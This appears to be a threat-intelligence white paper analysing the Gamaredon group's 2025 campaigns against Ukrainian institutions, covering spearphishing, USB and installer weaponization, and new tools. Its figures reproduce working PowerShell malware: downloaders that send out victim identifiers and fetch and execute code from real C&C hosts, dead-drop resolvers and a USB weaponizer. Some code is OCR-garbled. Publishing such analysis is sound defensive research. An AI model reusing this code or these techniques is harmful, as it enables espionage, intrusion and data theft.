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EXECUTIVE SUMMARY

In this white paper, we provide both a comprehensive technical analysis of the new tools in Gamaredon's
arsenal, and a detailed description of some significant updates to known tools, all observed during 2025.
Furthermore, we share details about various technologies that Gamaredon operators abused to protect
their network infrastructure.

Key findings:

e Throughout 2025, Gamaredon exclusively targeted governmental and military institutions in Ukraine.

e We observed 35 distinct spearphishing campaigns against new targets. The majority of the campaigns
were carried out in the second half of the year, and they were significantly larger than earlier ones.

o Additional targets were compromised via multiple custom weaponizers designed for lateral movement.

e Gamaredon operators developed and deployed six new, malicious PowerShell tools, which we analyze
in this white paper, and resurrected an old VBScript weaponizer — PteroSetup.

e File stealers PterovVDoor and PteroPSDoor were upgraded to support exfiltration to cloud storage
services (Wasabi, Tebi, and Intercolo), which became the primary exfiltration method.

e Gamaredon operators sought new ways to protect their network infrastructure, with their C&C servers
now hidden behind various third-party services such as tunnels, workers, DDNS (dynamic DNS), and
Paas (platform as a service).

e They also abused multiple legitimate messaging, social media, blogging, and paste services as dead
drops for resolving C&C servers and distributing payloads.

GAMAREDON PROFILE

with a threat actor that we discovered and named InvisiMole, and since early 2025, we have documented a
few acts of collaboration between Gamaredon_ and Turla.

reports as the Gamaredon 2022-2023 white paper and the Gamaredon 2024 white paper throughout this
document.


https://www.welivesecurity.com/2020/06/11/gamaredon-group-grows-its-game/
https://www.rnbo.gov.ua/en/Diialnist/4824.html
https://cert.gov.ua/article/10702
https://ssu.gov.ua/en/novyny/sbu-vstanovyla-khakeriv-fsb-yaki-zdiisnyly-ponad-5-tys-kiberatak-na-derzhavni-orhany-ukrainy
https://www.welivesecurity.com/2020/06/18/digging-up-invisimole-hidden-arsenal/
https://www.welivesecurity.com/2020/06/18/digging-up-invisimole-hidden-arsenal/
https://www.welivesecurity.com/en/eset-research/gamaredon-x-turla-collab/
https://web-assets.esetstatic.com/wls/2021/09/eset_threat_report_t22021.pdf#page=11
https://web-assets.esetstatic.com/wls/en/papers/white-papers/cyberespionage-gamaredon-way.pdf
https://web-assets.esetstatic.com/wls/en/papers/white-papers/gamaredon-in-2024.pdf
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OVERVIEW

Gamaredon maintained daily activity throughout 2025, as seen in our telemetry, with its operations
continuing to focus exclusively on Ukraine. The group’s ultimate goal continues to be the exfiltration of
sensitive information and other critical data that could be exploited to support Russian interests in the
ongoing war against Ukraine. Gamaredon's activities appear to be closely aligned with Russia’s geopolitical
objectives, targeting Ukrainian governmental and military institutions to gain an intelligence advantage.

In the first half of 2025, Gamaredon was highly active in developing and deploying new tools. We
discovered six new tools in total; five of them were deployed for the first time in Q1. Additionally, we

In the second half of the year, Gamaredon focused more on running spearphishing campaigns than on
developing new tools. These were conducted more frequently, and were much larger compared to earlier
campaigns.

Regarding tool updates, we noticed that overall activity here was lower than in previous years, and some
older tools were even clearly discontinued. Gamaredon mostly focused on improving a few select tools,
such as two flagship file stealers (PteroVDoor and PteroPSDoor) and the PteroLNK weaponizer. Very
obvious were the efforts to leverage cloud storage for file exfiltration.

While we don't provide the exact timestamps for all changes introduced to their tooling, we observed that
many updates were made in the lead-up to major holidays in Russia and Crimea. Notably, no updates
were observed during or immediately after these holidays, further suggesting that Gamaredon operators
are probably government-affiliated employees.

Gamaredon operators also sought new opportunities to protect their network infrastructure. We observed
them abuse additional tunnel services, employ dead-drop resolvers for hiding their C&C servers, and rely
increasingly on Cloudflare workers. Interestingly, after approximately four years, Gamaredon returned to
leveraging DDNS (dynamic DNS) services provided by No-IP, and we also detected an abuse of two
platforms as a service (Paas).

Victimology

In 2025, Gamaredon focused exclusively on compromising various governmental and military institutions
in Ukraine.

Attribution

We attribute with high confidence all activities mentioned in this white paper to Gamaredon. The
attribution is based on our long-term tracking of the group’s activities, during which we mainly rely on
file- and network-based detections in our security products. Besides that, unique types of obfuscation,
used for attribution. Furthermore, Gamaredon's long-lasting focus on Ukrainian governmental and military
institutions also helps us with attribution.

COMPROMISE CHAIN

Initial access

Gamaredon primarily conducts spearphishing email campaigns to compromise its targets. By delivering
malicious payloads that enable initial access to victim systems, Gamaredon operators perform data
exfiltration, credential theft, and lateral movement within networks. A typical Gamaredon spearphishing
campaign runs for one to six consecutive days. Most campaigns were only active during workdays, but on
several occasions we saw them continue on Saturdays.

Throughout 2025, we identified 35 distinct spearphishing campaigns carried out by Gamaredon.

Before September 26™, 2025, most campaigns that we saw followed a standard pattern: Gamaredon sent


https://interaktiv.br.de/elite-hacker-fsb/en/index.html
https://interaktiv.br.de/elite-hacker-fsb/en/index.html
https://www.welivesecurity.com/en/eset-research/gamaredon-x-turla-collab/
https://web-assets.esetstatic.com/wls/en/papers/white-papers/cyberespionage-gamaredon-way.pdf
https://attack.mitre.org/techniques/T1027/006/
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simulate downloading such archives. These archives contain a malicious HTA downloader that, when
opened by a victim, launches mshta.exe with a URL argument to fetch another HTA file that embeds the
VBScript downloader, PteroSand (see Figure 1). Notably, in two campaigns, the HTA downloaders were

' ‘ OR
Spearphishing
email

Archive

AN N
{0 | {0 |
HTA VBS

HTA downloader PteroSand

!
G- |

! r HTAfile |

XHTML

—
]

XHTML file

Figure 1. Simplified scheme of a typical Gamaredon spearphishing campaign

Additional Gamaredon tools are then delivered either directly through PteroSand or through various
dedicated downloaders. These payloads are typically written in VBScript or PowerShell and encapsulated
in VBScript wrappers. Using the built-in ExecuteGlobal statement, PteroSand executes them directly in
memory.

During three campaigns, we noticed that Gamaredon was most likely sending emails that contained
malicious hyperlinks instead of attachments. We did not manage to acquire such emails, but we detected
multiple links that led to a typical archive with a malicious HTA downloader. Note that emails with
malicious hyperlinks did not belong to a separate campaign; Gamaredon sent them, during those same
campaigns, concurrently with emails with malicious attachments.

On September 26™, 2025, we observed Gamaredon introduce a new technique. For the first time, it
malicious HTA downloader to be extracted (without the victim's knowledge) to the user-specific Startup
folder, ensuring persistence upon login. Since then, Gamaredon has employed this method in all
subsequent campaigns, and continued to do so throughout 2025. While the general flow remains as
shown in Figure 1, the key difference is that the downloader is automatically placed in the Startup folder
during exploitation and runs on the next login.

As already mentioned: in total, we identified 35 distinct spearphishing campaigns, with at least one
occurring in every month of 2025 except January. According to statistics created from ESET telemetry and
VirusTotal, Gamaredon was more active in running spearphishing campaigns in the second half of the year.
Figure 2 charts the unique samples of HTA downloaders delivered in Gamaredon spearphishing campaigns
per month. Note that these figures represent the minimum of spearphishing attempts, as one HTA
downloader may target multiple individuals, and individuals can be targeted in several campaigns within
the same month.


https://sourceware.org/bzip2/
https://www.cve.org/CVERecord?id=CVE-2025-8088
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Figure 2. Unique Gamaredon spearphishing samples seen per month

There are also other ways in which Gamaredon can compromise targets, but since it achieves that by
deploying its custom lateral movement tools on already compromised systems, we describe them in the
following section.

Lateral movement

Once Gamaredon compromises a system, it deploys its weaponizers that facilitate lateral movement.
These tools can spread further by weaponizing USB drives, network drives, or software installers. Below is
a summary of three key methods Gamaredon operators use; further details are in the Toolset section.

Weaponized USB drives

Gamaredon uses two tools, PteroLNK VBScript version and PteroPaste, to weaponize USB drives. Both tools,
when deployed on a compromised system, repeatedly attempt to detect connected USB drives and create
malicious LNK files on them. PteroLNK also copies itself to the drives, while PteroPaste drops a
downloader script. Such weaponized USB drives are expected to be shared with further potential victims
who will eventually open one of the malicious LNK files, or be taken to further systems where the
malicious LNK files will be accessed. Opening such a file either triggers PteroPaste’s downloader or
executes PteroLNK, which fetches additional payloads.

Weaponized network drives

Network drives are weaponized solely with PteroLNK in the same way as USB drives. PteroLNK scans a
compromised system for mapped network drives, copies itself to them, and creates malicious LNK files.
Potential victims are expected to visit these shared network drives and click on one of these malicious LNK
files.

Weaponized software installers

To weaponize software installers, Gamaredon uses PteroSetup. This tool scans fixed, USB, and mapped
network drives for legitimate installer files. If found, it replaces them with 7z self-extracting (SFX) archives
containing the original installer and a malicious VBScript downloader. This means that the filename of the
original installer is preserved while the file content is changed. When a potential victim opens such a
malicious SFX archive, it will unpack and run both files — the original, legitimate installer and the malicious
VBScript downloader.
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TOOLSET

In 2025, Gamaredon developed six new custom tools, but also continued using and updating many of its

and VBScript: all Gamaredon tools mentioned in this white paper are written in one of these programming
languages (some even in both).

Throughout 2025, Gamaredon used the following tools:

o PteroBox o PteroPShell (see Gamdredon.in.2022-2023 WP)
e PteroCache o PteroRisk (see Gamdredon.in.2022-2023 WP)
o PteroDee o PteroSand (see Gamdredon.in.2022-2023 WP)
e PteroDum e PteroScout
e PteroEffigy e PteroSetup
e PteroGram o PteroSig (see Gamdredon.in.2024.\WP)
e PteroGraphin (see Gamdredon in. 2024 \WP) o PteroSocks (see Gamaredon.in.2022-2023 WP)
e PteroLNK PowerShell version (discontinued in o PteroSteal

2025) e PteroStew (see Gamaredon.in.2024.WP)
e PteroLNK VBScript version « PteroTemplate (see Gamaredon in 2022-2023
e PteroOdd WP)
e PteroPaste e PteroVDoor
e PteroPSDoor o PteroWLoad (see Gamaredon.in.2024.\WP)
e PteroPSLoad e PteroX (discontinued in 2025)

Our ensuing analysis of the Gamaredon toolset is split into two subsections. In the first, New tools, we
describe tools that Gamaredon added to its arsenal throughout 2025. The second, Major updates of known
tools, is dedicated to noteworthy updates of already known tools.

Table 1 lists all Gamaredon tools that we detail in this white paper, along with their classification, date
when they were first introduced, programming language they are written in, and a brief description.

Table 1. A list of Gamaredon tools mentioned in this white paper, in order of appearance

Name Classification First seen Written in Description
PteroDee Downloader February 2025  PowerShell  Downloads other Gamaredon tools.
PteroDum Downloader February 2025  PowerShell  Downloads other Gamaredon tools.

. Weaponizes connected USB drives, and
Weaponizer/

PteroPaste February 2025  PowerShell  downloads other Gamaredon tools and
Downloader
Turla payloads.
PteroOdd Downloader February 2025  PowerShell ~ Downloads Turla’'s payloads.
PteroEffigy Downloader March 2025 PowerShell ~ Downloads other Gamaredon tools.
PteroCache Downloader July 2025 PowerShell  Downloads other Gamaredon tools.

PteroSetup Weaponizer January 2021 VBScript Weaponizes software installers.


https://web-assets.esetstatic.com/wls/en/papers/white-papers/cyberespionage-gamaredon-way.pdf
https://web-assets.esetstatic.com/wls/en/papers/white-papers/cyberespionage-gamaredon-way.pdf
https://web-assets.esetstatic.com/wls/en/papers/white-papers/gamaredon-in-2024.pdf
https://web-assets.esetstatic.com/wls/en/papers/white-papers/gamaredon-in-2024.pdf
https://web-assets.esetstatic.com/wls/en/papers/white-papers/cyberespionage-gamaredon-way.pdf
https://web-assets.esetstatic.com/wls/en/papers/white-papers/cyberespionage-gamaredon-way.pdf
https://web-assets.esetstatic.com/wls/en/papers/white-papers/cyberespionage-gamaredon-way.pdf
https://web-assets.esetstatic.com/wls/en/papers/white-papers/gamaredon-in-2024.pdf
https://web-assets.esetstatic.com/wls/en/papers/white-papers/cyberespionage-gamaredon-way.pdf
https://web-assets.esetstatic.com/wls/en/papers/white-papers/gamaredon-in-2024.pdf
https://web-assets.esetstatic.com/wls/en/papers/white-papers/cyberespionage-gamaredon-way.pdf
https://web-assets.esetstatic.com/wls/en/papers/white-papers/cyberespionage-gamaredon-way.pdf
https://web-assets.esetstatic.com/wls/en/papers/white-papers/gamaredon-in-2024.pdf
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Name Classification First seen Written in Description
PteroLNK November
VBScript Weaponizer 2020 VBScript Weaponizes connected USB drives.
version
PteroPSLoad Downloader October 2021 PowerShell  Downloads other Gamaredon tools.
. November . .
PteroBox File stealer 2024 PowerShell  Exfiltrates files to Dropbox.
Exfiltrates files to Gamaredon C&C
PteroPSDoor File stealer May 2022 PowerShell  servers and various cloud storage
services.
Exfiltrates files to Gamaredon C&C
. November . .
PteroVDoor File stealer 2022 VBScript servers and various cloud storage
services.
August 2023 PowerShell
PteroScout Infostealer Exfiltrates various system information.
December VBScriot
2025 P
Exfilt dat db ifi b
PteroSteal Infostealer July 2022 PowerShell xfiitrates data stored by specific we
browsers.
PteroGram Infostealer June 2023 PowerShell ExfllFratgs data stored by the Telegram
application.
New tools
PteroDee

PteroDee (shown in Figure 3), which we discovered on February 7™, 2025 when it was deployed by
PteroGraphin, is a simple PowerShell downloader encapsulated in a VBScript wrapper. PteroDee does not
use any persistence mechanism and is executed in memory only.
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powershell.exe arp -a;

sleep 10;

$n=0;

get-date;

while($n -1t 18)

{
arp -a;
$g = Get-WmiObject Win32_LogicalDisk -Filter "DeviceID='$env:SystemDrive'";
arp -a;
$a = "ex$($g.volumeSerialNumber)";
$u = '"https://srkwk.3742eddi.workers.dev/index.php"';
get-date;
$cm = [Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes($env:COMPUTERNAME));
$wc = New-Object Net.WebClient;
get-date;
$we .Headers['ssid"]
$wc .Headers['guid']
arp -a;
$res = $wc.DownloadString($u).Trim();
$res = $res -replace '“[\UFEFF\s]*';
arp -a;iex $res;sleep 186;
$n++;

$cm;
[uint32]%a;

Figure 3. PteroDee (prettified)

We saw this tool for the last time on August 4", 2025; it was most likely discontinued, and perhaps
replaced with PteroCache, which Gamaredon started deploying regularly from July 315t, 2025 onward.

Capabilities

PteroDee can fetch and execute up to 10 PowerShell payloads from a hardcoded C&C server. PteroDee
expects any response it receives to be a PowerShell script — which is then immediately executed, without
any validation, via Invoke-Expression. After each download attempt, it sleeps for three minutes.

Network protocol

For communication with its C&C server, PteroDee uses an HTTP GET request with two notable HTTP
headers, named bypass-tunnel-reminder and vreferer. In these two headers, it exfiltrates the victim's
computer name and the volume serial number of the system drive, respectively. The last few instances
that we saw use different names for such HTTP headers: ssid and guid.

PteroDum

PteroDum, shown in Figure 4, is another simple PowerShell downloader that we also discovered on
February 7th, 2025, when it was deployed by PteroDee. PteroDum does not use any persistence mechanism
and is executed in memory only. While not very interesting, note that the string in Russian, located in the
catch code block, translates to Error during processing.
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furl = 'szrtrboyre.fewwef.workers.dev';
$dnss = '1.1.1.1"
$ip = Resolve-DnsName $url -Server $dnss -Type A;

$headerKey = "cache"+"-host"
f$clientType = "webcl"+"ient"
$part = "cript.exe"

$gP = "HKLM:\SOFTWARE\Microsoft\Cryptography'
$machineGuid = (Get-ItemProperty -Path $gP).MachineGuid
get-date;$u="http://'+ $ip[@].IPAddress + '/index.php?id="+(random).Tostring()

for ($1i = @; $i -1t 10; $i++) {
try {
$sh =New-Object -ComObject WScript.Shell;
$f1 =ffalse;
$webClient = New-Object Net.$clientType
$webClient.Headers.Add($headerkKey, $machineGuid)
$webClient.Headers.Add( "Host', $url)
$id = [guid]::NewGuid().ToString()
$encoded = $webClient.DownloadString($u)
$enr $encoded -replace ""n|;;"
$decoded [Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($enr, ""))
$tempFile = [System.IO.Path]::ChangeExtension([System.IO.Path]::GetTempFileName(), ".vbs")
[System.I0.File]::WriteAllText($tempFile, $decoded)
$comm = "ws" + $part + " $tempFile //b";
$res = $sh.Run($comm, 1, $f1)
Remove-Item $tempFile -Force -ErrorAction SilentlyContinue
} catch {
Write-Host "Owubka npw obpaboTke: $_

}
Start-Sleep -Seconds 188
¥
Figure 4. PteroDum
Capabilities

PteroDum can fetch and execute up to 10 VBScript payloads from a hardcoded C&C server. When
PteroDum receives a response, it expects that response to be a base64-encoded VBScript with ; ; tokens
inserted at random positions. After removing those tokens and decoding the result, PteroDum stores the
VBScript in a randomly named file with a .vbs extension in the system temporary directory, then executes
the file using wscript.exe. This temporary file is immediately deleted after execution. As with PteroDee,
PteroDum sleeps for three minutes after each download attempt.

Network protocol

For communication with its C&C server, PteroDum uses an HTTP GET request with two notable HTTP
headers named Vsid and referer. It exfiltrates in these two headers the victim's computer name and the
volume serial number of the system drive, respectively. Instances observed after August 5™, 2025 only use
the HTTP header cache-host in which they place the contents of the registry value
HKLM\SOFTWARE\Microsoft\Cryptography\MachineGuid, which serves as a victim identifier

PteroPaste

We discovered PteroPaste on February 18™, 2025, and it's a PowerShell tool with functionality to
weaponize USB drives and to download additional PowerShell payloads via an encrypted channel, similar

instances download cleartext payloads, but from C&C servers retrieved — RSA-encrypted — from Dropbox.

PteroPaste consists of three components:


https://web-assets.esetstatic.com/wls/en/papers/white-papers/gamaredon-in-2024.pdf
https://rentry.co/what
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o adownloader,
e an embedded weaponizer, and
e an embedded runner.

The downloader is created from an embedded template and regularly retrieves payloads from dead drops.
Later instances retrieve payloads from C&C servers hidden behind tunnel services, not from dead drops.
Most PteroPaste payloads seen in ESET telemetry were instances of PteroEffigy, described in a later section.

PteroPaste’s weaponizer component leverages WMI to monitor the system for newly inserted USB drives,
then weaponizes discovered drives by dropping malicious LNK files and PowerShell scripts onto them.

Responsible for launching the downloader and weaponizer components, the runner is the only component
of these three that is made persistent.

Detailed host-based artifacts associated with this tool are provided in Appendix A. Host-based artifacts
associated with PteroPaste.

Persistence

PteroPaste adds a command line with a PowerShell one-liner to the registry value HKCU\Environment\
UserInitMprLogonScript. The one-liner reads the runner component from the registry and executes it.

After a major update on May 20™, 2025, PteroPaste creates a scheduled task to execute the runner
component. The name and description of the task are set to the value of the 4PROCESSOR_IDENTIFIER%
environment variable.

Capabilities

When PteroPaste installs itself on a victim’s machine, it generates a random secret code and marker string,

parses out its URL from the server's response, and generates a 3DES encryption key and IV. Then, the
installer constructs the downloader component by replacing specific placeholders within the embedded
template of this component with these five values: secret code, marker string, Rentry page URL, 3DES key,
and 3DES IV. The same five values, along with the victim's computer name and volume serial number of
the system drive, are uploaded to the hardcoded C&C server, so Gamaredon operators can properly
encrypt payloads, and stage them on the dead-drop service (i.e., by modifying the Rentry page created by
PteroPaste).

Three components are stored in registry values under HKCU\EUDC, as follows:
¢ the downloader in knok,
e the weaponizerin usb, and

e therunnerin runner.

Once PteroPaste is installed, the runner component is launched in a separate PowerShell process.

Runner component

The runner component (see Figure 5), when executed, reads the weaponizer component from the usb
registry value and runs it in the background, via the Start-Job cmdlet. Then, a new timer object is created
and set to spawn a new PowerShell process that, once an hour, reads the downloader component from
the knok registry value and runs it. After sleeping for 10 seconds, the runner component spawns such a
process as well, to run the downloader component right away.


https://www.welivesecurity.com/en/eset-research/gamaredon-x-turla-collab/
https://rentry.co/what
https://en.wikipedia.org/wiki/Cross-site_request_forgery
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Set-ItemProperty -Path "HKCU:\EUDC" -Name "runner" -Value '
$recvOwnerShip = $False;
$mutex = New-Object -TypeName System.Threading.Mutex($true, (get-date).ToString(''yyyyMM''), [refl$recvOwnerShip);
if($recvownership){
start-job -ScriptBlock {$usb = (Get-ItemProperty -Path ''HKCU:\EUDC'' -Name usb).usb;$command =[scriptblock]::Create($usb);&
$command;while($true) {sleep 5}};
$timer = New-Object System.Timers.timer;
$timer.Interval = 3660000;
Register-ObjectEvent -InputObject $timer -EventName Elapsed -Action {
Start-Process -FilePath ''powershell'' -ArgumentlList ''$($send = (Get-ItemProperty -Path ''''HKCU:\EUDC'''' -Name knok).
knok; $command =[scriptblock]::Create($send);&$command;)"'" -WindowStyle Hidden ;

X

$timer.Start();

sleep 10;

Start-Process -FilePath '‘powershell'' -ArgumentlList ''$($send = (Get-ItemProperty -Path ''''HKCU:\EUDC'''' -Name knok).
knok; $command =[scriptblock]::Create($send);&$command;)"'"' -WindowStyle Hidden ;

Figure 5. The runner component of PteroPaste

Downloader component

The downloader component (constructed from the template shown in Figure 6), using the previously
generated Rentry URL, fetches the contents of the Rentry page (which has since been updated by
Gamaredon operators), locates an encrypted and base64-encoded payload enclosed in a pair of the
previously generated marker strings, base64 decodes and decrypts the payload using the 3DES key and 1V,
and then executes the decrypted payload in the background using the Start-Job and Invoke-Expression
cmdlets. Subsequently, it rewrites the contents of the Rentry page with the current Unix timestamp
enclosed in the two marker strings, perhaps to remove the payload from a publicly available page as soon
as possible, and also to signal to Gamaredon operators that the payload was processed.

$knok_code = '
$code = iwr "url_url”
if ($code.Content -match '‘'<div><p>split_split([~"]+)split_split</p></div>'"') {
$tripleDES = [System.Security.Cryptography.TripleDES]::Create();
$tripleDES.Key = [Convert]::FromBase64String("Key_Key");
$tripleDES.IV = [Convert]::FromBase64String("IV_IV");
$decryptor = $tripleDES.CreateDecryptor();
$encryptedBytes = [Convert]::FromBase64String($matches[1]);
$plainBytes = $decryptor.TransformFinalBlock($encryptedBytes, @, $encryptedBytes.Length);
$decryptedText = [System.Text.Encoding]::UTF8.GetString($plainBytes);
Start-Job -ScriptBlock {param($code) Invoke-Expression $code } -ArgumentList $decryptedText
}
$page = Invoke-WebRequest -UseBasicParsing -Uri "https://rentry.co/"
$matches= [System.Text.RegularExpressions.Regex]::Matches($page.Headers[''Set-Cookie''], ''csrftoken=([*"]+);'")
$csrftoken = $matches | ForEach-Object { ($_.Groups[1l].Value).split(";")[e] }
if ($page.Content -match '‘'name="csrfmiddlewaretoken™ value="([~"]+)"'"') {
$csrfmiddlewaretoken = $matches[1]
} elseif ($page.Content -match ''<meta name="csrf-token" content="([*"]+)">'"') {
$csrfmiddlewaretoken = $matches[1]
}
$unixTimestamp = [int64][double]((Get-Date).ToUniversalTime() - (Get-Date "197©-01-01 ©0:00:80Z")).TotalSeconds;
$session = New-Object Microsoft.PowerShell.Commands.WebRequestSession
$session.Cookies.Add((New-Object System.Net.Cookie("csrftoken",$csrftoken, "/", "rentry.co")))
Invoke-WebRequest -UseBasicParsing -Uri "url_url/edit" °
-Methed "POST" °
-liebSession $session °
-Headers @{
"referer"="url_url/edit"
g
-ContentType "application/x-www-form-urlencoded" ~
-Body "csrfmiddlewaretoken=$($csrfmiddlewaretoken)&text=split_split$($unixTimestamp)split_split&csrfmiddlewaretoken=$
($csrfmiddlewaretoken)&metadata=&edit_code=scr_scr&new_edit_code=&new_url=&new_modify_code="

Figure 6. The template of the downloader component of PteroPaste

PteroPaste was significantly reworked on May 20™, 2025. The downloader component, shown in Figure 7,
no longer connects to Rentry to get 3DES-encrypted payloads; they are now downloaded in cleartext from
Gamaredon C&C servers hidden behind Cloudflare tunnels. However, the fully qualified domain name
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(FQDN) of the C&C server from which PteroPaste fetches its payloads first needs to be retrieved from
Dropbox, where it is stored in encrypted form. Before the C&C server can be used for communication, its
FQDN must be decrypted by PteroPaste, using the hardcoded RSA private key.

$knok_code = '
$a = Get-ItemProperty -Path "HKCU:\EUDC" -Name privateKeyXml
$privateKeyXml = $a.privateKeyXml
$code = iwr "https://www.dropbox.com/scl/fi/5nféyc39kfwgnqu3nslcl/12e8db24443f422986d90368275d34e5. txt?
rlkey=19iidxwiqvc3y6om7j@ogrz6f&dl=1" -UseBasicParsing
try{
$rsa = New-Object System.Security.Cryptography.RSACryptoServiceProvider;
$rsa.FromXmlString($privateKeyXml);
$encryptedBytes = [Convert]::FromBase64String("$code");
$decryptedBytes = $rsa.Decrypt($encryptedBytes, $false);
$url = [System.Text.Encoding]::UTF8.GetString($decryptedBytes);
}catch {}
$MachineGuid = (Get-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Cryptography").MachineGuid;
$ip_serv = Resolve-DnsName $url -Server 1.1.1.1 -Type A;
$resp = iwr -Uri "http://$($ip_serv[@].IPAddress)/" -Headers @{"X-Request-ID"= $MachineGuid; "Host" = $url} -UseBasicParsing;
iex $resp.Content;

Figure 7. The downloader component of PteroPaste

Weaponizer component

The weaponizer component, shown in Figure 8, subscribes to the WMI event __InstanceCreationEvent
to monitor the system for newly inserted USB drives. When such an event occurs, for each USB drive, it
first recursively searches for Word documents located in the Desktop directory using the pattern *.doc*,
then randomly picks one filename. The filename is combined with a . 1nk extension and this newly
constructed filename is used to create a malicious LNK file in the USB drive's root directory. Note that if no
file matching the pattern is found, the resulting filename will be just . 1nk.

Set-ItemProperty -Path "HKCU:\EUDC" -Name "usb" -Value '

$Query = "select * from __InstanceCreationEvent within 5 where TargetInstance ISA ''Win32_LogicalDisk'' and
TargetInstance.DriveType = 2";
$Action = {

$r_flashs_r = Get-WmiObject Win32_Volume -Filter "DriveType=''2"''";
foreach($r_flash_r in $r_flashs_r){

$desktopPath = [System.IO.Path]::Combine([System.Environment]: :GetFolderPath("Desktop"))

$items = Get-ChildItem -Path $desktopPath -Filter "*.doc*" -Force -Recurse

$name = $items | Get-Random | Select-Object -ExpandProperty Name

$desktopPath = [System.IO.Path]::Combine( $r_flash_r.name, "$name.lnk");

$targetPath = "powershell”;

$arguments = ''-w hidden $myCode=$(gc '''''" + $name +''.lnk'''' |out-string);%$a = $myCode.split(''''*'"'"'");%a|

ForEach-Object { $_|powershell -noprofile -;}'';

$shell = New-Object -ComObject WScript.Shell;

$shortcut = $shell.CreateShortcut($desktopPath);

$shortcut.TargetPath = "powershell™;

$shortcut.Arguments = $arguments;

$shortcut.IconLocation = "C:\WINDOWS\system32\shell32.d11l,1";

$shortcut.Save();

Add-Content -Path $desktopPath -vValue "*"

Add-Content -Path $desktopPath -Value ''
Start-Process powershell.exe -ArgumentlList ''''$str=[System.Text.Encoding]::UTF8.GetString([Convert]
: :FromBase64String
("t ZnVuY3Rpb24genVuKCR1cmwpewogICAgJHN1emlhbCASIFt1aW5eMzIdIjB4ICgoR2VeOLVdtaU9iamVidCBXaW4zM19Mb2dpY2F sRGlz
ayAtRm1sdGVyICIEZXZpY2VIRDENIGVud pTeXNOZWIECm12ZScikS5Wb2x1bWVTZXIpYWXOdW11iZXIpIjsKICAGICRIb2R1IDBgaXdyICR1cmw7C
iAgICBpZiA0JGNVZGUUQ29udGVudCAtbWFeY2gglzetKFteIlorkTotlykgewogICAgICAgIHdoalx1KCRudWOgLWx@IDIWKXsKICAgICAgICAgIC
AgICAgIHI1c3AgPSBpd3IgLVvVyaSAiaHROcDovLyQolG1lhdGNoZXNbMVepLyIgLUhlYWR1cnMgQHsiQnlwYXNzLXR1bm51bC1lyZW1pbmR1ciIgPSB
bQ29udmVydF@E01RvQMFzZTYBU3RyaWSnKFtTeXN@ZWOuvVGV4dC5FbmNvZG1luZ10601VeZ jguR2vegnlezZxMolGVudjpDTO1QVVRFUKSBTUUPKT s
RnJ1ZmVyZXTiID@gIHN1cmlhbHe7CiAgICAgICAEICAETCAEIG11eCAkemVzcC5Db250ZW5@0WogICAgICAgTICAgICAZICBTAGFydC1ThGY]cCALY
2Vjb25kcyAxODA7CiAgICAgICAgTQogICAgfQpg """ """ Y)idex: $stre pum; B ERLEE https://rentry.co/e9ywy582" """ "' "" el
-WindowStyle Hidden

}

I
Register-WmiEvent -Query $Query -Action $Action -Sourceldentifier UsbLinkUpdate;
& $action

Figure 8. The weaponizer component of PteroPaste
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After the LNK file is created, the weaponizer component first appends a single * character to the file, and
then also appends a PowerShell command that spawns a new PowerShell process that decodes and
executes an embedded base64-encoded downloader while passing a hardcoded Rentry URL as an
argument to the downloader’s only function - run.

When the LNK file is first created, its target is set to execute a PowerShell one-liner. Then, when the LNK
file is clicked by a victim, after the weaponizer runs, the one-liner reads the LNK file, splits the contents by
the * character, and then executes the second part, which is the aforementioned PowerShell command
that runs the embedded downloader in a separate PowerShell process.

The embedded downloader, shown in Figure 9, fetches a C&C server from the Rentry URL passed as its
argument, then uses the C&C server to download and execute up to 20 PowerShell payloads. After each
download attempt, it sleeps for three minutes.

function run($url){

$serial = [uint32]"6x$((Get-WmiObject Win32_LogicalDisk -Filter "DeviceID="$env:SystemDrive'").VolumeSerialNumber)";

$code = iwr $url;

if ($code.Content -match '=-([""]+)=-") {

while($num -1t 2@){

$resp = iwr -Uri "http://$($matches[1])/" -Headers @{"Bypass-tunnel-reminder" = [Convert]::ToBase64String
([System.Text.Encoding]: :Utf8.GetBytes($env:COMPUTERNAME) ) ; "Freferer" = $serial};
iex $resp.Content;
Start-Sleep -Seconds 188;

Figure 9. The downloader embedded in the weaponizer component of PteroPaste

The weaponizer component was slightly updated on April 12t", 2025. Instead of appending the base64-
encoded PowerShell downloader to the created malicious LNK, the updated weaponizer drops the
cleartext PowerShell downloader to a separate file named with the value of the %PROCESSOR_REVISION%
environment variable, in the same directory as the LNK file. Then, when the LNK file is clicked by a victim,
it runs a PowerShell one-liner that loads the downloader from this file. Also, the Rentry URL is no longer
passed as an argument but is hardcoded in the dropped downloader.

On May 20%™, 2025, the downloader embedded in the weaponizer component was updated similar to the
downloader component. Instead of retrieving the C&C server from Rentry, the downloader script, which is
dropped by the weaponizer component to USB drives, retrieves the encrypted FQDN of the C&C server
from Dropbox, and decrypts it using the same RSA key. As a fallback, this script gets the C&C server from
the DNS TXT record of the hardcoded domain by querying Google's 8.8.8.8 nameserver. We observed
various instances of the weaponizer component that use the following filenames when dropping the
downloader script to USB drives: %PROCESSOR_REVISION%.ps1, volumeinfo.psl, and test.ps1.

The most recent update of the weaponizer component we noticed was on August 14, 2025. The
weaponizer no longer uses the WMI event to monitor newly inserted USB drives, but rather runs in an
infinite loop and scans for connected USB drives once a minute. Additionally, it tracks already weaponized
USB drives using their DeviceID values to avoid weaponizing them multiple times if they haven't been
ejected since the last scan. However, the list of IDs is only tracked in memory; therefore, USB drives will be
weaponized repeatedly if the malware is restarted or if a drive is ejected and reinserted.

Network protocol

PteroPaste uses HTTP GET and POST requests for communication with services such as Rentry and
Dropbox.

For communication with its C&C server, the initial version of the downloader embedded in the weaponizer
component uses an HTTP GET request with two notable HTTP headers named Bypass-tunnel-reminder
and Freferer. It exfiltrates in these two headers the victim's computer name and the volume serial
number of the system drive, respectively.

After the major update on May 20%™, 2025, both the downloader component and the downloader
embedded in the weaponizer component use HTTP GET requests with the HTTP header X-Request-1ID.
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This header is used to upload the contents of the registry value
HKLM\SOFTWARE\Microsoft\Cryptography\MachineGuid, which serves as a victim identifier.

PteroOdd

On February 27, 2025, we discovered PteroOdd - a tiny PowerShell downloader that had been deployed

$pageAddr= "dinoasjdnl-02-27";

$getPage =Invoke-WebRequest -Uri "https://api.telegra.ph/getPage/$%$($pageAddr)?return_content=true" -UseBasicParsing;
$getPage = $getPage | ConvertFrom-Json;

$Mycode = $getPage.result.content.children;

iex $Mycode;

Figure 10. PteroOdd

In total, we have observed four distinct instances of PteroOdd, but five distinct payloads downloaded by
